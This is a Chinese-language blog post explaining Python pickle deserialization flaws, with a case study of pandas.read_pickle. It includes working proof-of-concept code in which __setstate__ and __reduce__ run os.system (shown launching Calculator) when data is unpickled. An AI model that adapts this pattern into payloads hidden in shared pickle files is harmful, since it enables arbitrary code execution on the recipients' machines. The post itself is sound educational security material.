Python中的反序列化安全问题

最近在研究反序列化的问题。打算把python,PHP,Java中的反序列化漏洞都说一说。python的最好理解,权当抛砖引玉。

简介

我们知道,在Java和PHP中都实现了对象的序列化和反序列化能力。而在python中,其实也有类似的实现。

在python中,序列化用于将存在于内存中的对象或变量转化成二进制的字节流.这样可以将类对象的状态和属性保存下来。在需要用到的时候再对其进行反序列化成对象。

官方库中,主要提供了三个模块用于序列化实现:pickle(cpickle),marshal,json

其中json模块应该是最为人所知的,它主要提供python字典,列表等数据类型和字符串之间互相转换的能力;

而marshal和pickle模块则可以对python中的类和对象进行序列化和反序列化。

实现方法

简单介绍一下pickle模块的用法。

在pickle中,序列化的接口常用的有两个:

1
2
3
pickle.dump(obj,file)

pickle.dumps(obj)

前者必要参数是进行序列化的对象和一个文件对象,序列化的内容将被保存至文件中。后者仅需要提供对,序列化的二进制数据将会作为返回;

相对应,反序列化也有两个:

1
2
3
pickle.load(file)

pickle.loads(stream)

分别可以从文件或字节流中反序列化出对象。举个例子来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pickle
import os

class SerializePerson():
def __init__(self,name,age):
self.name = name
self.age = age

# 构造SerializePerson类的一个对象
person = SerializePerson('tom',18)
print("name: " + person.name)
print("age: " + str(person.age))

# 将这个实例序列化

objectoutputstream = pickle.dumps(person) # 序列化到输出
print(objectoutputstream)

with open("tmp.bin","wb") as f: pickle.dump(person,f)
os.system("xxd tmp.bin") # 序列化到文件并查看

print('-'*50) # 分割线 以下是反序列化

personobject = pickle.loads(objectoutputstream) # 将二进制串反序列化成对象
print("name: " + personobject.name)
print("age: " + str(personobject.age))

代码首先定义一个 SerializePerson 类,类包含两个属性:name和age。

我们实例化了一个对象 person 同时使用构造函数__init__ 对变量赋值。

之后对person 对象,分别通过pickle.dump 和 pickle.load 做序列化和反序列化。

漏洞成因

我们都知道,Java中的反序列化漏洞主要在于反序列化时会调用对象的readObject方法,在PHP中则有更多的魔术方法可能在反序列化或toString等情况下调用。

而在python中,同样的有几个内置方法,会在对象被反序列化时调用。他们分别是:

1
2
3
__reduce__()  
__reduce_ex__()
__setstate__()

关于这三个方法的具体的用法可以参考官方文档中的描述:

pickle — Python 对象序列化

参考PHP的反序列化。如果我们可以在类中构造这些方法,并在方法中执行恶意代码。那么实例在反序列化时就会执行我们的代码了。

更加尴尬的是,python并没有对pickle模块做任何安全性的限制:他没有验证反序列化的类是否在应用中注册,也没有类似Java中SerializeUID的存在。这也就导致了,攻击者任意构造的对象都会被实现了pickle.load的接口进行反序列化并执行Magic function。

可以使用一个简单的 poc 来验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os

class SerializePerson():
def __init__(self,name):
self.name = name

# 构造 __setstate__ 方法
def __setstate__(self,name):
os.system('open /System/Applications/Calculator.app/') # 恶意代码

tmp = pickle.dumps(SerializePerson('tom')) # 序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器

执行代码至pickle.loads(tmp),计算器被弹出:所以对于任意实现了pickle序列化的接口,如果我们可以控制传入的将要反序列化的对象,那么我们就可以执行任意代码了。

案例分析

由于不少的三方库都使用了pickle来做反序列化。因此如果没有其他的安全处理和过滤就很容易产生安全问题。

举个例子:pandas作为python里最为强大的数据分析和处理库,在几乎全版本中都存在pickle反序列化漏洞的问题。

其中的接口 pandas.read_pickle(filename) 实现了读取pkl类型文件的功能。

对于数据分析工程师和算法工程师来说,这个文件可能是数据集或者别人已经训练好的模型。而当读取的文件是我们恶意构造的对象时,他就可以在目标应用中执行任意代码

问题代码的 pandas.read_pickle() 位于 pands/io/pickle.py 100行左右。我们可以看到他是直接调用了 pickle.load() 这一函数。

1
2
3
4
5
6
7
8
9
10
try:
with warnings.catch_warnings(record=True):
# We want to silence any warnings about, e.g. moved modules.
warnings.simplefilter("ignore", Warning)
return pickle.load(f)
except excs_to_catch:
# e.g.
# "No module named 'pandas.core.sparse.series'"
# "Can't get attribute '__nat_unpickle' on <module 'pandas._libs.tslib"
return pc.load(f, encoding=None)

POC:

1
2
3
4
5
6
7
8
9
10
11
12
import pandas as pd
import os
import pickle

class Test(object):
def __reduce__(self):
return (os.system, ('open /System/Applications/Calculator.app',))

with open("test.pickle", "wb") as f:
pickle.dump(Test(), f)

pd.read_pickle("test.pickle")

Python中的反序列化安全问题
http://example.com/2020/06/16/Python中的反序列化安全问题/
Author
fuzzingq
Posted on
June 16, 2020
Licensed under